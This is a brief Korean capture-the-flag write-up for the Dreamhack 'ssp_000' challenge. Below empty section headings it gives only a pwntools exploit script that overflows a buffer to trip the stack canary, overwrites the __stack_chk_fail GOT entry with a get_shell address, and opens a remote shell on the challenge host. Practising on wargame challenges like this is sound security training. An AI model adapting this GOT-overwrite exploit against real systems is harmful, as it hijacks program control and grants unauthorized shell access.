환경 분석
취약점 분석
공격 설계
익스플로잇 코드
from pwn import *
# 1. 초기 설정
#p = process('./ssp_000')
p = remote('host8.dreamhack.games',21071)
# 2. 주소 정보 (16진수)
addr_stack_chk_fail_got = 0x601020 # __stack_chk_fail의 GOT 위치
value_get_shell = 0x4008ea # get_shell 함수의 위치
# 3. Step 1: 카나리 파괴 (Trigger)
# buf를 넘쳐서 카나리를 오염시킴
p.sendline(b'A' * 100)
# 4. Step 2: GOT Overwrite
# scanf("%ld")이므로 10진수 문자열로 변환하여 입력
p.sendlineafter(b"Addr : ", str(addr_stack_chk_fail_got))
p.sendlineafter(b"Value : ", str(value_get_shell))
# 5. 셸 획득
p.interactive()